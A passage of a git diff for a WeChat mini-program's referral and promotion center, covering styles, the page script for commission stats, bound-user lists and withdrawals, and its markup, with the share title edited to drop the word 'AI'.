24rpx; + color: #9CA3AF; +} + +.promo-stat-value { + font-size: 36rpx; + font-weight: 700; + color: #111827; + font-family: "DIN Alternate", "Courier New", Courier, monospace; +} + +.promo-stat-divider { + width: 1rpx; + height: 60rpx; + background: #F3F4F6; +} + +.promo-highlight { + color: #F43F5E; +} + +/* ===== 服务菜单 ===== */ +.menu-card { + background: #FFFFFF; + border-radius: 24rpx; + overflow: hidden; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.05); + border: 1rpx solid rgba(0,0,0,0.04); +} + +.menu-item { + display: flex; + align-items: center; + padding: 32rpx 36rpx; + gap: 28rpx; + position: relative; +} + +.menu-item:active { + background: #F9FAFB; +} + +.menu-divider { + height: 1rpx; + background: #F3F4F6; + margin: 0 36rpx; +} + +.menu-icon-wrap { + width: 80rpx; + height: 80rpx; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0; +} + +.menu-icon-red { background: #FEF2F2; } +.menu-icon-indigo { background: #EEF2FF; } +.menu-icon-amber { background: #FFFBEB; } +.menu-icon-purple { background: #EDE9FE; } + +.menu-icon { + font-size: 36rpx; +} + +.menu-content { + flex: 1; + min-width: 0; +} + +.menu-title { + font-size: 30rpx; + font-weight: 600; + color: #111827; + display: block; + margin-bottom: 6rpx; +} + +.menu-sub { + font-size: 24rpx; + color: #9CA3AF; + display: block; +} + +.menu-chevron { + font-size: 48rpx; + color: #D1D5DB; + flex-shrink: 0; +} + +/* ===== 退出登录按钮 ===== */ +.logout-btn { + width: 100%; + padding: 32rpx; + background: #FFF1F2; + border: 1rpx solid #FFE4E6; + border-radius: 24rpx; + display: flex; + align-items: center; + justify-content: center; + gap: 16rpx; + box-sizing: border-box; +} + +.logout-btn:active { + opacity: 0.8; +} + +.logout-icon { + font-size: 32rpx; +} + +.logout-text { + font-size: 30rpx; + font-weight: 600; + color: #EF4444; +} + +.bottom-safe { + height: 40rpx; +} diff --git a/miniprogram/pages/promo/index.js b/miniprogram/pages/promo/index.js index d0d120e..65bb867 100644 --- a/miniprogram/pages/promo/index.js +++ b/miniprogram/pages/promo/index.js @@ -1,270 +1,270 @@ -// pages/promo/index.js -const app = getApp() -const { request } = require('../../utils/request') - -Page({ - data: { - balance: '0.00', - totalEarned: '0.00', - pendingAmount: '0.00', - bindingCount: 0, - paidCount: 0, - expiringCount: 0, - activeTab: 0, - userList: [], - listTotal: 0, - listPage: 1, - listLoading: false, - listFinished: false, - commissionRate: '', - bindingDays: '', - testCommissionType: '', - testCommissionRate: '', - testCommissionAmount: '', - testNoPayment: false, - withdrawMinYuan: '1.00', - withdrawMaxYuan: '', - withdrawFeePct: 0, - requireWithdrawAudit: true, - showWithdrawDialog: false, - withdrawAmountInput: '', - withdrawError: '', - withdrawFeeYuan: '0.00', - withdrawActualYuan: '0.00' - }, - - onLoad() { - this.loadStats() - this.loadBindings(true) - }, - - onShow() { - this.loadStats() - }, - - /** 加载推广统计数据 */ - loadStats() { - request({ - url: '/api/distribution/stats', - method: 'GET', - success: (res) => { - const payload = res && res.data - if (payload && payload.code === 200 && payload.data) { - const d = payload.data - const title = d.promoCenterTitle || '推广中心' - wx.setNavigationBarTitle({ title }) - this.setData({ - balance: d.walletBalance, - totalEarned: d.totalEarned, - pendingAmount: d.pendingAmount, - bindingCount: d.bindingCount, - paidCount: d.paidCount, - expiringCount: d.expiringCount, - totalInvite: d.totalInvite, - commissionRate: d.commissionRate, - bindingDays: d.bindingDays, - testCommissionType: d.testCommissionType, - testCommissionRate: d.testCommissionRate, - testCommissionAmount: d.testCommissionAmount, - testNoPayment: d.testNoPayment, - withdrawMinYuan: d.withdrawMinYuan != null ? d.withdrawMinYuan : '1.00', - withdrawMaxYuan: d.withdrawMaxYuan != null && d.withdrawMaxYuan !== '' ? d.withdrawMaxYuan : '', - withdrawFeePct: d.withdrawFeePct != null ? d.withdrawFeePct : 0, - requireWithdrawAudit: d.requireWithdrawAudit !== false, - }) - } - } - }) - }, - - /** 加载绑定用户列表(tab: 0=绑定中 1=已付款 2=已过期) */ - loadBindings(reset = false) { - if (this.data.listLoading) return - if (!reset && this.data.listFinished) return - - const page = reset ? 1 : this.data.listPage - this.setData({ listLoading: true }) - - request({ - url: `/api/distribution/bindings?tab=${this.data.activeTab}&page=${page}&pageSize=10`, - method: 'GET', - success: (res) => { - const payload = res && res.data - if (payload && payload.code === 200 && payload.data) { - const { list, total } = payload.data - const formatted = (list || []).map(item => ({ - ...item, - createdAtStr: item.createdAt ? this._fmtTimestamp(item.createdAt) : '' - })) - const newList = reset ? formatted : [...this.data.userList, ...formatted] - this.setData({ - userList: newList, - listTotal: total, - listPage: page + 1, - listFinished: newList.length >= total, - }) - } - }, - complete: () => { - this.setData({ listLoading: false }) - } - }) - }, - - /** 时间戳格式化为 YYYY-MM-DD */ - _fmtTimestamp(ts) { - if (!ts) return '' - const d = new Date(ts * 1000) - if (isNaN(d.getTime())) return '' - const y = d.getFullYear() - const m = String(d.getMonth() + 1).padStart(2, '0') - const day = String(d.getDate()).padStart(2, '0') - return `${y}-${m}-${day}` - }, - - /** 切换用户列表 Tab */ - switchTab(e) { - const index = parseInt(e.currentTarget.dataset.index) - if (index === this.data.activeTab) return - this.setData({ activeTab: index, userList: [], listPage: 1, listFinished: false }) - this.loadBindings(true) - }, - - /** 上拉加载更多 */ - onReachBottom() { - this.loadBindings(false) - }, - - /** 申请提现:打开自定义金额弹框 */ - handleWithdraw() { - const balance = parseFloat(this.data.balance) - if (balance < 1) { - wx.showToast({ title: '余额不足1元,暂无法提现', icon: 'none' }) - return - } - const pct = this.data.withdrawFeePct || 0 - const feeYuan = (balance * pct / 100).toFixed(2) - const actualYuan = (balance - balance * pct / 100).toFixed(2) - this.setData({ - showWithdrawDialog: true, - withdrawAmountInput: this.data.balance, - withdrawFeeYuan: feeYuan, - withdrawActualYuan: actualYuan, - withdrawError: '' - }) - }, - - /** 关闭提现弹框 */ - closeWithdrawDialog() { - this.setData({ - showWithdrawDialog: false, - withdrawError: '' - }) - }, - - /** 输入金额:实时计算手续费与实际到账 */ - onWithdrawInput(e) { - const raw = e.detail.value - const val = parseFloat(raw) - const pct = this.data.withdrawFeePct || 0 - let feeYuan = '0.00' - let actualYuan = '0.00' - if (raw !== '' && !isNaN(val) && val >= 0) { - const fee = val * pct / 100 - feeYuan = fee.toFixed(2) - actualYuan = (val - fee).toFixed(2) - } - this.setData({ - withdrawAmountInput: raw, - withdrawFeeYuan: feeYuan, - withdrawActualYuan: actualYuan, - withdrawError: '' - }) - }, - - /** 确认提现(使用用户填写的金额) */ - confirmWithdraw() { - const balance = parseFloat(this.data.balance) - const val = parseFloat(this.data.withdrawAmountInput) - const minYuan = parseFloat(this.data.withdrawMinYuan) || 1 - const pct = this.data.withdrawFeePct || 0 - - if (isNaN(val)) { - this.setData({ withdrawError: '请输入正确的金额' }) - return - } - if (val < 1) { - this.setData({ withdrawError: '单次提现金额至少 1 元' }) - return - } - if (val > balance) { - this.setData({ withdrawError: '不可超过当前可提现金额' }) - return - } - const actualYuan = val - val * pct / 100 - if (actualYuan < minYuan) { - this.setData({ withdrawError: `实际到账金额不得低于最低提现金额 ¥${minYuan.toFixed(2)}` }) - return - } - - const amountFen = Math.floor(val * 100) - this.setData({ withdrawError: '' }) - - request({ - url: '/api/distribution/withdraw', - method: 'POST', - data: { amountFen }, - success: (r) => { - const payload = r && r.data - if (payload && payload.code === 200) { - const msg = payload.msg || payload.message || '' - wx.showToast({ title: '申请已提交', icon: 'success' }) - this.setData({ showWithdrawDialog: false }) - this.loadStats() - // 免审核且已自动发起微信转账时,自动进入提现记录页 - if (msg.indexOf('已自动发起') !== -1) { - setTimeout(() => { - wx.navigateTo({ url: '/pages/promo/withdrawals' }) - }, 500) - } - } else { - const errMsg = (payload && (payload.msg || payload.message)) || '申请失败,请稍后重试' - this.setData({ withdrawError: errMsg }) - } - } - }) - }, - - /** 查看提现记录 */ - goToWithdrawHistory() { - wx.navigateTo({ url: '/pages/promo/withdrawals' }) - }, - - /** 生成海报 */ - generatePoster() { - wx.navigateTo({ url: '/pages/promo/poster' }) - }, - - /** 分享到朋友圈:引导用户使用右上角菜单 */ - shareToTimeline() { - wx.showToast({ title: '请点击右上角 ··· 选择「分享到朋友圈」', icon: 'none', duration: 2500 }) - }, - - /** 分享给好友 */ - onShareAppMessage() { - const { getSharePathByScope } = require('../../utils/share') - return { - title: '神仙团队AI性格测试 - 发现你的内在潜能', - path: getSharePathByScope('/pages/index/index') - } - }, - - /** 分享到朋友圈 */ - onShareTimeline() { - const { buildShareQuery } = require('../../utils/share') - return { - title: '神仙团队AI性格测试 - 发现你的内在潜能', - query: buildShareQuery() - } - } -}) +// pages/promo/index.js +const app = getApp() +const { request } = require('../../utils/request') + +Page({ + data: { + balance: '0.00', + totalEarned: '0.00', + pendingAmount: '0.00', + bindingCount: 0, + paidCount: 0, + expiringCount: 0, + activeTab: 0, + userList: [], + listTotal: 0, + listPage: 1, + listLoading: false, + listFinished: false, + commissionRate: '', + bindingDays: '', + testCommissionType: '', + testCommissionRate: '', + testCommissionAmount: '', + testNoPayment: false, + withdrawMinYuan: '1.00', + withdrawMaxYuan: '', + withdrawFeePct: 0, + requireWithdrawAudit: true, + showWithdrawDialog: false, + withdrawAmountInput: '', + withdrawError: '', + withdrawFeeYuan: '0.00', + withdrawActualYuan: '0.00' + }, + + onLoad() { + this.loadStats() + this.loadBindings(true) + }, + + onShow() { + this.loadStats() + }, + + /** 加载推广统计数据 */ + loadStats() { + request({ + url: '/api/distribution/stats', + method: 'GET', + success: (res) => { + const payload = res && res.data + if (payload && payload.code === 200 && payload.data) { + const d = payload.data + const title = d.promoCenterTitle || '推广中心' + wx.setNavigationBarTitle({ title }) + this.setData({ + balance: d.walletBalance, + totalEarned: d.totalEarned, + pendingAmount: d.pendingAmount, + bindingCount: d.bindingCount, + paidCount: d.paidCount, + expiringCount: d.expiringCount, + totalInvite: d.totalInvite, + commissionRate: d.commissionRate, + bindingDays: d.bindingDays, + testCommissionType: d.testCommissionType, + testCommissionRate: d.testCommissionRate, + testCommissionAmount: d.testCommissionAmount, + testNoPayment: d.testNoPayment, + withdrawMinYuan: d.withdrawMinYuan != null ? d.withdrawMinYuan : '1.00', + withdrawMaxYuan: d.withdrawMaxYuan != null && d.withdrawMaxYuan !== '' ? d.withdrawMaxYuan : '', + withdrawFeePct: d.withdrawFeePct != null ? d.withdrawFeePct : 0, + requireWithdrawAudit: d.requireWithdrawAudit !== false, + }) + } + } + }) + }, + + /** 加载绑定用户列表(tab: 0=绑定中 1=已付款 2=已过期) */ + loadBindings(reset = false) { + if (this.data.listLoading) return + if (!reset && this.data.listFinished) return + + const page = reset ? 1 : this.data.listPage + this.setData({ listLoading: true }) + + request({ + url: `/api/distribution/bindings?tab=${this.data.activeTab}&page=${page}&pageSize=10`, + method: 'GET', + success: (res) => { + const payload = res && res.data + if (payload && payload.code === 200 && payload.data) { + const { list, total } = payload.data + const formatted = (list || []).map(item => ({ + ...item, + createdAtStr: item.createdAt ? this._fmtTimestamp(item.createdAt) : '' + })) + const newList = reset ? formatted : [...this.data.userList, ...formatted] + this.setData({ + userList: newList, + listTotal: total, + listPage: page + 1, + listFinished: newList.length >= total, + }) + } + }, + complete: () => { + this.setData({ listLoading: false }) + } + }) + }, + + /** 时间戳格式化为 YYYY-MM-DD */ + _fmtTimestamp(ts) { + if (!ts) return '' + const d = new Date(ts * 1000) + if (isNaN(d.getTime())) return '' + const y = d.getFullYear() + const m = String(d.getMonth() + 1).padStart(2, '0') + const day = String(d.getDate()).padStart(2, '0') + return `${y}-${m}-${day}` + }, + + /** 切换用户列表 Tab */ + switchTab(e) { + const index = parseInt(e.currentTarget.dataset.index) + if (index === this.data.activeTab) return + this.setData({ activeTab: index, userList: [], listPage: 1, listFinished: false }) + this.loadBindings(true) + }, + + /** 上拉加载更多 */ + onReachBottom() { + this.loadBindings(false) + }, + + /** 申请提现:打开自定义金额弹框 */ + handleWithdraw() { + const balance = parseFloat(this.data.balance) + if (balance < 1) { + wx.showToast({ title: '余额不足1元,暂无法提现', icon: 'none' }) + return + } + const pct = this.data.withdrawFeePct || 0 + const feeYuan = (balance * pct / 100).toFixed(2) + const actualYuan = (balance - balance * pct / 100).toFixed(2) + this.setData({ + showWithdrawDialog: true, + withdrawAmountInput: this.data.balance, + withdrawFeeYuan: feeYuan, + withdrawActualYuan: actualYuan, + withdrawError: '' + }) + }, + + /** 关闭提现弹框 */ + closeWithdrawDialog() { + this.setData({ + showWithdrawDialog: false, + withdrawError: '' + }) + }, + + /** 输入金额:实时计算手续费与实际到账 */ + onWithdrawInput(e) { + const raw = e.detail.value + const val = parseFloat(raw) + const pct = this.data.withdrawFeePct || 0 + let feeYuan = '0.00' + let actualYuan = '0.00' + if (raw !== '' && !isNaN(val) && val >= 0) { + const fee = val * pct / 100 + feeYuan = fee.toFixed(2) + actualYuan = (val - fee).toFixed(2) + } + this.setData({ + withdrawAmountInput: raw, + withdrawFeeYuan: feeYuan, + withdrawActualYuan: actualYuan, + withdrawError: '' + }) + }, + + /** 确认提现(使用用户填写的金额) */ + confirmWithdraw() { + const balance = parseFloat(this.data.balance) + const val = parseFloat(this.data.withdrawAmountInput) + const minYuan = parseFloat(this.data.withdrawMinYuan) || 1 + const pct = this.data.withdrawFeePct || 0 + + if (isNaN(val)) { + this.setData({ withdrawError: '请输入正确的金额' }) + return + } + if (val < 1) { + this.setData({ withdrawError: '单次提现金额至少 1 元' }) + return + } + if (val > balance) { + this.setData({ withdrawError: '不可超过当前可提现金额' }) + return + } + const actualYuan = val - val * pct / 100 + if (actualYuan < minYuan) { + this.setData({ withdrawError: `实际到账金额不得低于最低提现金额 ¥${minYuan.toFixed(2)}` }) + return + } + + const amountFen = Math.floor(val * 100) + this.setData({ withdrawError: '' }) + + request({ + url: '/api/distribution/withdraw', + method: 'POST', + data: { amountFen }, + success: (r) => { + const payload = r && r.data + if (payload && payload.code === 200) { + const msg = payload.msg || payload.message || '' + wx.showToast({ title: '申请已提交', icon: 'success' }) + this.setData({ showWithdrawDialog: false }) + this.loadStats() + // 免审核且已自动发起微信转账时,自动进入提现记录页 + if (msg.indexOf('已自动发起') !== -1) { + setTimeout(() => { + wx.navigateTo({ url: '/pages/promo/withdrawals' }) + }, 500) + } + } else { + const errMsg = (payload && (payload.msg || payload.message)) || '申请失败,请稍后重试' + this.setData({ withdrawError: errMsg }) + } + } + }) + }, + + /** 查看提现记录 */ + goToWithdrawHistory() { + wx.navigateTo({ url: '/pages/promo/withdrawals' }) + }, + + /** 生成海报 */ + generatePoster() { + wx.navigateTo({ url: '/pages/promo/poster' }) + }, + + /** 分享到朋友圈:引导用户使用右上角菜单 */ + shareToTimeline() { + wx.showToast({ title: '请点击右上角 ··· 选择「分享到朋友圈」', icon: 'none', duration: 2500 }) + }, + + /** 分享给好友 */ + onShareAppMessage() { + const { getSharePathByScope } = require('../../utils/share') + return { + title: '神仙团队性格测试 - 发现你的内在潜能', + path: getSharePathByScope('/pages/index/index') + } + }, + + /** 分享到朋友圈 */ + onShareTimeline() { + const { buildShareQuery } = require('../../utils/share') + return { + title: '神仙团队性格测试 - 发现你的内在潜能', + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/promo/index.json b/miniprogram/pages/promo/index.json index 1996801..ac2ccfb 100644 --- a/miniprogram/pages/promo/index.json +++ b/miniprogram/pages/promo/index.json @@ -1,5 +1,5 @@ -{ - "navigationBarTitleText": "推广中心", - "navigationBarBackgroundColor": "#FFFFFF", - "navigationBarTextStyle": "black" +{ + "navigationBarTitleText": "推广中心", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black" } \ No newline at end of file diff --git a/miniprogram/pages/promo/index.wxml b/miniprogram/pages/promo/index.wxml index edc9f4d..295be88 100644 --- a/miniprogram/pages/promo/index.wxml +++ b/miniprogram/pages/promo/index.wxml @@ -1,219 +1,219 @@ - - - - - - - - 🧧 - - - 可提现金额 - - - {{commissionRate}}% 高额返利 - - - - - ¥{{balance}} - 累计: ¥{{totalEarned}} | 待审核: ¥{{pendingAmount}} - - - - - - - 查看提现记录 - - - - - - - - 申请提现 - 可提现 ¥{{balance}},请输入本次提现金额 - - - ¥ - - - - 本次最高可提 ¥{{balance}} - - - 手续费 ¥{{withdrawFeeYuan}} - 实际到账 ¥{{withdrawActualYuan}} - - - {{withdrawError}} - - - - 取消 - 确定 - - - - - - - - {{bindingCount}} - 绑定中 - - - {{paidCount}} - 已付款 - - - {{expiringCount}} - 即将过期 - - - {{totalInvite}} - 总邀请 - - - - - - - - 🛡️ - - 推广收益规则 - - - - - 用户绑定有效期为 {{bindingDays}}天,期满自动解除 - - - 💰 - 单笔提现:最低 ¥{{withdrawMinYuan}} - 最高 ¥{{withdrawMaxYuan}} - 不设上限 - - - 📋 - 提现手续费:{{withdrawFeePct}}% - - - - - - - - - 👥 - 绑定用户 - ({{totalInvite}}) - - - - - - - 绑定中 ({{bindingCount}}) - - - 已付款 ({{paidCount}}) - - - 已过期 ({{expiringCount}}) - - - - - - - 🔍 - - 目前还没有绑定的用户哦 - 快去分享链接邀请好友吧 - - - - - - - - - {{item.nickname ? item.nickname[0] : '?'}} - - - - - - {{item.remainDays}}天到期 - 已过期 - 已付款 - - - - - - 加载中... - - - — 已加载全部 — - - - - - - - - - 🎨 - - - 生成推广海报 - 一键生成您的专属精美海报 - - - - - - 💬 - - - 分享到朋友圈 - 通过右上角菜单分享到朋友圈 - - - - - - - - - 分享专属链接,好友通过链接点击后自动绑定 - 购买任意测评即可获得 90% 的现金返利 - - - - + + + + + + + + 🧧 + + + 可提现金额 + + + {{commissionRate}}% 高额返利 + + + + + ¥{{balance}} + 累计: ¥{{totalEarned}} | 待审核: ¥{{pendingAmount}} + + + + + + + 查看提现记录 + + + + + + + + 申请提现 + 可提现 ¥{{balance}},请输入本次提现金额 + + + ¥ + + + + 本次最高可提 ¥{{balance}} + + + 手续费 ¥{{withdrawFeeYuan}} + 实际到账 ¥{{withdrawActualYuan}} + + + {{withdrawError}} + + + + 取消 + 确定 + + + + + + + + {{bindingCount}} + 绑定中 + + + {{paidCount}} + 已付款 + + + {{expiringCount}} + 即将过期 + + + {{totalInvite}} + 总邀请 + + + + + + + + 🛡️ + + 推广收益规则 + + + + + 用户绑定有效期为 {{bindingDays}}天,期满自动解除 + + + 💰 + 单笔提现:最低 ¥{{withdrawMinYuan}} + 最高 ¥{{withdrawMaxYuan}} + 不设上限 + + + 📋 + 提现手续费:{{withdrawFeePct}}% + + + + + + + + + 👥 + 绑定用户 + ({{totalInvite}}) + + + + + + + 绑定中 ({{bindingCount}}) + + + 已付款 ({{paidCount}}) + + + 已过期 ({{expiringCount}}) + + + + + + + 🔍 + + 目前还没有绑定的用户哦 + 快去分享链接邀请好友吧 + + + + + + + + + {{item.nickname ? item.nickname[0] : '?'}} + + + + + + {{item.remainDays}}天到期 + 已过期 + 已付款 + + + + + + 加载中... + + + — 已加载全部 — + + + + + + + + + 🎨 + + + 生成推广海报 + 一键生成您的专属精美海报 + + + + + + 💬 + + + 分享到朋友圈 + 通过右上角菜单分享到朋友圈 + + + + + + + + + 分享专属链接,好友通过链接点击后自动绑定 + 购买任意测评即可获得 90% 的现金返利 + + + + diff --git a/miniprogram/pages/promo/index.wxss b/miniprogram/pages/promo/index.wxss index 66fb8be..b529a0f 100644 --- a/miniprogram/pages/promo/index.wxss +++ b/miniprogram/pages/promo/index.wxss @@ -1,550 +1,550 @@ -/* pages/promo/index.wxss */ -page { - background-color: #FFFFFF; -} - -.container { - padding: 32rpx; - background-color: #FFFFFF; -} - -/* ===== 顶部统计卡片 ===== */ -.hero-card { - background: #FFF5F6; - border-radius: 40rpx; - padding: 40rpx; - box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.02); - position: relative; - overflow: hidden; - margin-bottom: 40rpx; -} - -.hero-header-row { - display: flex; - justify-content: space-between; - align-items: flex-start; - margin-bottom: 48rpx; -} - -.hero-left { - display: flex; - align-items: center; - gap: 20rpx; -} - -.wallet-icon { - width: 88rpx; - height: 88rpx; - background: #FFFFFF; - border-radius: 24rpx; - display: flex; - align-items: center; - justify-content: center; - box-shadow: 0 2rpx 10rpx rgba(0,0,0,0.03); -} - -.emoji { font-size: 44rpx; } - -.title-text .label { - font-size: 24rpx; - color: #6B7280; - font-weight: 500; -} - -.badge { - display: flex; - align-items: center; - gap: 6rpx; - margin-top: 6rpx; -} - -.badge .dot { - width: 10rpx; - height: 10rpx; - background: #F43F5E; - border-radius: 50%; -} - -.badge-text { - font-size: 22rpx; - color: #F43F5E; - font-weight: 600; -} - -.hero-right { - text-align: right; -} - -.amount { - font-size: 72rpx; - font-weight: 700; - color: #111827; - line-height: 1; -} - -.amount-sub { - font-size: 22rpx; - color: #9CA3AF; - margin-top: 16rpx; - display: block; -} - -.withdraw-btn { - width: 100%; - height: 104rpx; - background: #F3F4F6; - color: #9CA3AF; - border-radius: 52rpx; - font-size: 30rpx; - font-weight: 600; - display: flex; - align-items: center; - justify-content: center; - margin-bottom: 32rpx; - border: none; -} - -.withdraw-btn::after { border: none; } - -.withdraw-btn:not(.disabled) { - background: #F43F5E; - color: #FFFFFF; -} - -.record-link { - display: flex; - align-items: center; - justify-content: center; - gap: 6rpx; - font-size: 26rpx; - color: #F43F5E; - font-weight: 600; -} - -/* ===== 四格统计 ===== */ -.stats-grid { - display: grid; - grid-template-columns: repeat(4, 1fr); - gap: 24rpx; - margin-bottom: 40rpx; -} - -.stat-item { - background: #FFFFFF; - padding: 28rpx 16rpx; - border-radius: 32rpx; - border: 1rpx solid #F3F4F6; - text-align: center; - box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.04); -} - -.stat-val { - font-size: 40rpx; - font-weight: 800; - color: #111827; - display: block; - margin-bottom: 4rpx; -} - -.stat-val.highlight { color: #F59E0B; } - -.stat-label { - font-size: 22rpx; - color: #6B7280; - font-weight: 500; -} - -/* ===== 通用 Section ===== */ -.section { - background: #FFFFFF; - border-radius: 48rpx; - border: 1rpx solid #F3F4F6; - box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.04); - margin-bottom: 40rpx; - overflow: hidden; -} - -.section-header { - padding: 40rpx; - display: flex; - align-items: center; - gap: 16rpx; -} - -.section-header.border-b { - border-bottom: 1rpx solid #F9FAFB; -} - -.header-icon { - width: 56rpx; - height: 56rpx; - border-radius: 16rpx; - display: flex; - align-items: center; - justify-content: center; -} - -.header-icon.red { background: #FFF1F2; } - -.section-title { - font-size: 28rpx; - font-weight: 800; - color: #111827; -} - -.count-label { - font-size: 24rpx; - color: #9CA3AF; - font-weight: 400; - margin-left: 8rpx; -} - -/* 规则列表 */ -.rule-list { - padding: 0 40rpx 40rpx; - display: flex; - flex-direction: column; - gap: 28rpx; -} - -.rule-item { - display: flex; - gap: 24rpx; - align-items: flex-start; -} - -.rule-bullet { - font-size: 20rpx; - margin-top: 4rpx; -} - -.rule-text { - font-size: 24rpx; - color: #6B7280; - line-height: 1.5; -} - -.highlight { color: #F43F5E; font-weight: 700; } - -/* 用户列表 Tab */ -.tab-bar { - display: flex; - background: #F9FAFB; - margin: 16rpx 32rpx; - padding: 8rpx; - border-radius: 24rpx; -} - -.tab-item { - flex: 1; - text-align: center; - padding: 20rpx 0; - font-size: 24rpx; - color: #6B7280; - font-weight: 500; - border-radius: 16rpx; - transition: all 0.2s; -} - -.tab-item.active { - background: #FFFFFF; - color: #F43F5E; - font-weight: 800; - box-shadow: 0 4rpx 12rpx rgba(0,0,0,0.05); -} - -.empty-state { - padding: 100rpx 80rpx; - text-align: center; - display: flex; - flex-direction: column; - align-items: center; -} - -.empty-icon { - width: 160rpx; - height: 160rpx; - background: linear-gradient(to top right, #F9FAFB, #FFFFFF); - border-radius: 50%; - display: flex; - align-items: center; - justify-content: center; - margin-bottom: 32rpx; - box-shadow: inset 0 2rpx 10rpx rgba(0,0,0,0.02); -} - -.empty-text { - font-size: 28rpx; - color: #9CA3AF; - font-weight: 600; -} - -.empty-sub { - font-size: 20rpx; - color: #D1D5DB; - margin-top: 8rpx; -} - -/* ===== 操作菜单 ===== */ -.menu-card { - background: #FFFFFF; - border-radius: 48rpx; - border: 1rpx solid #F3F4F6; - box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.04); - overflow: hidden; - margin-bottom: 40rpx; -} - -.menu-item { - display: flex; - align-items: center; - padding: 32rpx 40rpx; - border-bottom: 1rpx solid #F9FAFB; - background: #FFFFFF; - text-align: left; - line-height: 1.4; -} - -.menu-item:last-child { border-bottom: none; } - -.menu-item.share-btn { - width: 100%; - margin: 0; - border-radius: 0; -} - -.menu-item.share-btn::after { border: none; } - -.menu-icon-wrap { - width: 88rpx; - height: 88rpx; - border-radius: 32rpx; - display: flex; - align-items: center; - justify-content: center; - margin-right: 32rpx; -} - -.menu-icon-wrap.rose { background: #FFF1F2; color: #F43F5E; } -.menu-icon-wrap.emerald { background: #ECFDF5; color: #10B981; } -.menu-icon-wrap.violet { background: #F5F3FF; color: #8B5CF6; } - -.menu-info { flex: 1; } - -.menu-name { - font-size: 28rpx; - font-weight: 800; - color: #111827; - display: block; -} - -.menu-desc { - font-size: 22rpx; - color: #6B7280; - display: block; - margin-top: 4rpx; -} - -.menu-arrow { - font-size: 36rpx; - color: #D1D5DB; -} - -/* ===== 底部提示 ===== */ -.footer-tip { - padding: 40rpx 60rpx; - text-align: center; -} - -.footer-tip text { - display: block; - font-size: 22rpx; - color: #D1D5DB; - line-height: 1.6; - font-weight: 500; -} - -/* ===== 绑定用户列表条目 ===== */ -.user-item { - display: flex; - align-items: center; - padding: 28rpx 32rpx; - border-bottom: 1rpx solid #F3F4F6; -} -.user-item:last-child { border-bottom: none; } - -.user-avatar { - width: 80rpx; - height: 80rpx; - border-radius: 50%; - flex-shrink: 0; - margin-right: 24rpx; - background: #F3F4F6; -} -.user-avatar-placeholder { - display: flex; - align-items: center; - justify-content: center; - background: #FECDD3; -} -.user-avatar-letter { - font-size: 36rpx; - color: #F43F5E; - font-weight: 700; -} - -.user-info { - flex: 1; - display: flex; - flex-direction: column; - gap: 6rpx; -} -.user-name { - font-size: 28rpx; - font-weight: 600; - color: #1F2937; -} -.user-time { - font-size: 22rpx; - color: #9CA3AF; -} - -.user-badge { - font-size: 22rpx; - font-weight: 600; - padding: 6rpx 18rpx; - border-radius: 20rpx; - flex-shrink: 0; -} -.badge-active { - background: #FEF3C7; - color: #D97706; -} -.badge-paid { - background: #D1FAE5; - color: #059669; -} -.badge-expired { - background: #F3F4F6; - color: #9CA3AF; -} - -/* 列表底部提示 */ -.list-footer { - padding: 32rpx 0; - text-align: center; -} -.list-footer-text { - font-size: 24rpx; - color: #D1D5DB; -} - -.safe-bottom { height: 60rpx; } - -/* ===== 提现金额弹框 ===== */ -.withdraw-mask { - position: fixed; - inset: 0; - background: rgba(15, 23, 42, 0.45); - display: flex; - align-items: center; - justify-content: center; - z-index: 9999; -} - -.withdraw-dialog { - width: 640rpx; - padding: 40rpx 40rpx 32rpx; - border-radius: 32rpx; - background: #ffffff; - box-shadow: 0 24rpx 60rpx rgba(15, 23, 42, 0.25); -} - -.dialog-title { - font-size: 32rpx; - font-weight: 700; - color: #111827; -} - -.dialog-sub { - margin-top: 8rpx; - font-size: 24rpx; - color: #6b7280; -} - -.amount-input-row { - margin-top: 32rpx; - padding: 16rpx 20rpx; - border-radius: 20rpx; - background: #f9fafb; - display: flex; - align-items: center; -} - -.currency { - font-size: 32rpx; - font-weight: 600; - color: #111827; - margin-right: 8rpx; -} - -.amount-input { - flex: 1; - font-size: 32rpx; - font-weight: 600; - color: #111827; -} - -.amount-input::placeholder { - color: #9ca3af; -} - -.amount-hint { - margin-top: 8rpx; - font-size: 22rpx; - color: #9ca3af; -} -.fee-actual-row { - margin-top: 12rpx; - font-size: 24rpx; - color: #6b7280; -} -.fee-actual-row .actual { - margin-left: 24rpx; - color: #059669; - font-weight: 500; -} - -.error-text { - margin-top: 8rpx; - font-size: 22rpx; - color: #dc2626; -} - -.dialog-actions { - margin-top: 32rpx; - display: flex; - gap: 16rpx; -} - -.dialog-actions .btn { - flex: 1; - height: 80rpx; - border-radius: 9999rpx; - display: flex; - align-items: center; - justify-content: center; - font-size: 28rpx; - font-weight: 600; -} - -.dialog-actions .btn.cancel { - background: #f3f4f6; - color: #4b5563; -} - -.dialog-actions .btn.confirm { - background: #f43f5e; - color: #ffffff; -} - +/* pages/promo/index.wxss */ +page { + background-color: #FFFFFF; +} + +.container { + padding: 32rpx; + background-color: #FFFFFF; +} + +/* ===== 顶部统计卡片 ===== */ +.hero-card { + background: #FFF5F6; + border-radius: 40rpx; + padding: 40rpx; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.02); + position: relative; + overflow: hidden; + margin-bottom: 40rpx; +} + +.hero-header-row { + display: flex; + justify-content: space-between; + align-items: flex-start; + margin-bottom: 48rpx; +} + +.hero-left { + display: flex; + align-items: center; + gap: 20rpx; +} + +.wallet-icon { + width: 88rpx; + height: 88rpx; + background: #FFFFFF; + border-radius: 24rpx; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 2rpx 10rpx rgba(0,0,0,0.03); +} + +.emoji { font-size: 44rpx; } + +.title-text .label { + font-size: 24rpx; + color: #6B7280; + font-weight: 500; +} + +.badge { + display: flex; + align-items: center; + gap: 6rpx; + margin-top: 6rpx; +} + +.badge .dot { + width: 10rpx; + height: 10rpx; + background: #F43F5E; + border-radius: 50%; +} + +.badge-text { + font-size: 22rpx; + color: #F43F5E; + font-weight: 600; +} + +.hero-right { + text-align: right; +} + +.amount { + font-size: 72rpx; + font-weight: 700; + color: #111827; + line-height: 1; +} + 